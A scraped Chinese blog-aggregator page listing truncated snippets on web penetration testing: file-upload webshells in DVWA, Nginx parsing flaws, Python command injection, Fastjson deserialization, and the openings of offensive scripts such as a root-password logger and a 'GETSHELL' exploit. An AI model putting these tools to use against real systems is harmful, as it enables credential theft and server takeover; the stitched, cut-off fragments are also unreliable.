介绍：File Upload，即文件上传漏洞，通常是由于对上传文件的类型、内容没有进行严格的过滤、检查，使得攻击者可以通过上传木马（如前面提到的一句话木马）获取服务器的 webshell 权限，因此文件上传漏洞带来的危害常常是毁灭性的，Apache、Tomcat、Nginx 等都曝出过文件上传漏洞。一、dvwa之low级别文件上传漏洞讲解我们首先写一个php的一句话木马 然后在dvwa靶
转载
2023-10-20 22:07:21
258阅读
0×00渗透的很多时候，找到的工具并不适用，自己码代码才是王道，下面三个程序都是渗透时在网络上找不到合适工具，自己辛苦开发的，短小使用，求欣赏，求好评。 0×01记录root密码小工具 root.py #!/usr/bin/python
import os, sys, getpass, time
current_time = time.strftime("%Y-%m-%d %H:%M
转载
2023-12-23 15:20:13
8阅读
前言午休的时候在安全加看到一篇漏洞预警：CVE-2017-17522 Python webbrowser.py 命令执行漏洞分析，Python的webbrowser内置模块存在远程代码执行漏洞。本来对Python相关的安全问题比较感兴趣，看了下漏洞文件https://github.com/python/cpython/blob/master/Lib/webbrowser.py，上下也就600来行代
转载
2023-11-04 15:57:57
0阅读
http://netsecurity.51cto.com/art/201404/436517.htm?from=message&isappinstalled=0渗透的很多时候，找到的工具并不适用，自己码代码才是王道，下面三个程序都是渗透时在网络上找不到合适工具，自己辛苦开发的，短小实用。一、记录root密码小工具root.py
#!/usr/bin/python
import os, sy
Author：JoyChou@美丽联合安全Date：201806051. 前言今天遇到一个不好做白名单的Python命令执行漏洞修复的问题。由于是shell=True导致的任意命令执行，一开始大胆猜测将True改为False即可，经过测试确实是这样，但是参数需要放在list里，稍微有点麻烦。后来考虑，还可以做黑名单，过滤掉特殊字符，那就写fuzz脚本跑那些需要过滤的字符。最后觉得黑名单方式可能会被
转载
2023-08-09 14:55:38
231阅读
文件上传1.前段选择文件，提交文件2.浏览器形成POST MultiPart报文发送到服务器3.服务器中间件接asp/php/jsp等等2.如果上传的目标目录没...
原创
2023-04-09 20:31:10
346阅读
0x00的很多时候，找到的工具并不适用，自己码代码才是王道，下面三个程序都是时在网络上找不到合适工具，自己辛苦开发的，短小使用，求欣赏，求好评。0x01记录root小工具root.pyDefault#!/usr/bin/pythonimport os, sys, getpass, timecurrent_time = time.strftime("%Y-%m-%d %H:%M")log
转载
2023-11-27 22:24:48
19阅读
工具简述本项目均为冰河亲自编写并整理的Python渗透脚本集合，可直接拿来用于渗透实战脚本说明com.binghe.hacker.tools.script.attack.crypt 包下的脚本：1.crypt_attack.py: 利用字典破解Unix/Linux口令com.binghe.hacker.tools.script.attack.ssh 包下的脚本1. pxssh_connection
转载
2023-12-22 05:52:05
83阅读
扫描本机开放的端口：#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: Lcy
# @Date: 2016-07-05 20:55:30
# @Last Modified by: Lcy
# @Last Modified time: 2016-10-10 16:26:14
import requests
import threa
转载
2023-07-07 23:05:36
17阅读
vulhub Nginx文件解析漏洞复现 该漏洞与Nginx、php版本无关，属于用户配置不当造成的解析漏洞。1、由于nginx.conf的错误配置导致nginx把以".php"结尾的文件交给fastcgi处理,为此可以构造http://172.168.30.190/uploadfiles/hack
原创
2023-06-11 00:29:48
993阅读
原理1、文件上传（File Upload）是大部分Web应用都具备的功能，例如用户上传附
件、修改头像、分享图片/视频等
2、正常的文件一般是文档、图片、视频等，Web应用收集之后放入后台存储，
需要的时候再调用出来返回
3、如果恶意文件如PHP、ASP等执行文件绕过Web应用，并顺利执行，则相当
于黑客直接拿到了Webshell
4、一旦黑客拿到Webshell，则可以拿到Web应用的数据，删除
原创
精选
2024-01-10 13:27:40
892阅读
渗透的很多时候，找到的工具并不适用，自己码代码才是王道，下面三个程序都是渗透时在网络上找不到合适工具，自己辛苦开发的，短小实用。一、记录root密码小工具root.py
#!/usr/bin/python
import os, sys, getpass, time
current_time= time.strftime("%Y-%m-%d %H:%M")
logfile="/dev/shm/.su
转载
2023-12-05 21:08:14
45阅读
利用脚本。exp：python jj.py http://123.123.123.123 ->直接GETSHELL
python jj.py http://123.123.123.123 "whoami" ->执行命令
#author:we8i&90sec
importurllib2,urllib,base64importcookielib,sys,re
cj=cookieli
转载
2023-11-04 15:05:50
28阅读
文章目录综述源码和使用说明 综述date：2022-09-28按照版本号报告漏洞的扫描器有点搞，人工统计高危漏洞像是一种折磨，考虑编写脚本。提取对象：word文件里的紧急和高危漏洞。（需要筛选）提取数据：漏洞名称+影响主机，不统计漏洞类型是 SSH漏洞 和 数据库漏洞的记录。思路：首先删除所有无关信息，只保留紧急和高危部分的内容，如图源码和使用说明word报告准备：删除所有无关信息，只保留紧急和
转载
2023-12-13 23:26:28
34阅读
1. 上传文件时，如果未对上传的文件进行严格的验证和过滤，就容易造成文件上传漏洞，上传脚本文件(包括asp、aspx、php、jsp等)
注：asp aspx对应IIS解析、php对应apache解析jsp对应java
转载
2023-08-05 06:27:17
818阅读
1.Fastjson 反序列化任意代码执行漏洞Fastjson是一个Java语言编写的高性能功能完善的JSON库。由于其简单易用，已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。Fastjson Develop Team 于2022年5月23日披露 fastjson 1.2.80及以下版本存在新的反序列化漏洞风险，该利用在特定条件下可绕过默认autoType关
转载
2024-08-30 22:20:33
32阅读
对于web开来说，用户登陆、注册、文件上传等是最基础的功能，针对不同的web框架，相关的文章非常多，但搜索之后发现大多都不具有完整性，对于想学习web开发的新手来说就没办法一步一步的操作练习；对于web应用来说，包括数据库的创建，前端页面的开发，以及中间逻辑层的处理三部分。本系列以可操作性为主，介绍如何通过django web框架来实现一些简单的功能。每一章都具有完整性和独立性。使用新手在动手做的
转载
2024-06-13 13:24:20
100阅读
文件上传漏洞原理：在文件上传的功能处，若服务端脚本语言未对上传的文件进行严格验证和过滤，导致恶意用户上传恶意的脚本文件时，就有可能获取执行服务端命令的能力，这就是文件上传漏洞。上传触发点：相册、头像上传、视频、照片分享、附件上传、文件管理器上传漏洞的危害：直接上传后门，控制网站，得到web权限（服务器权限）。造成文件上传漏洞的原因：1.服务器配置不当2.开源编辑器上传漏洞3.本地文件上传限制被绕过
转载
2023-07-12 21:49:22
29阅读
目录 上传类型漏洞的总体防御原则 不同环境上传漏洞的防御方法一、上传漏洞防御原则核心思想：确保上传的文件不会被服务器解析成可执行的脚本，进而引发遍离功能设计的意外后果。限制文件上传类型:白名单结合黑名单：黑名单常常会出现遗漏或者大小写绕过等问题，所以通常采用白名单限制安全的文件类型如：图片：.jpg、.png、.gif、.bmp 文档：.doc、.pdf、.txt 压缩包:.rar、.zip类型限
转载
2023-11-13 20:32:43
27阅读
不少系统管理员都有过系统被上传后门，木马或者是网页被人篡改的经历，这类攻击相当一部分是通过文件上传进行的。入侵者是如何做到这些的，又该如何防御，本文以PHP脚本语言为例，简要介绍文件上传漏洞，并结合实际漏洞演示如何利用漏洞进行上传攻击。一、 文件上传漏洞与WebShell的关系文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马，病毒，恶意脚本或者WebShel
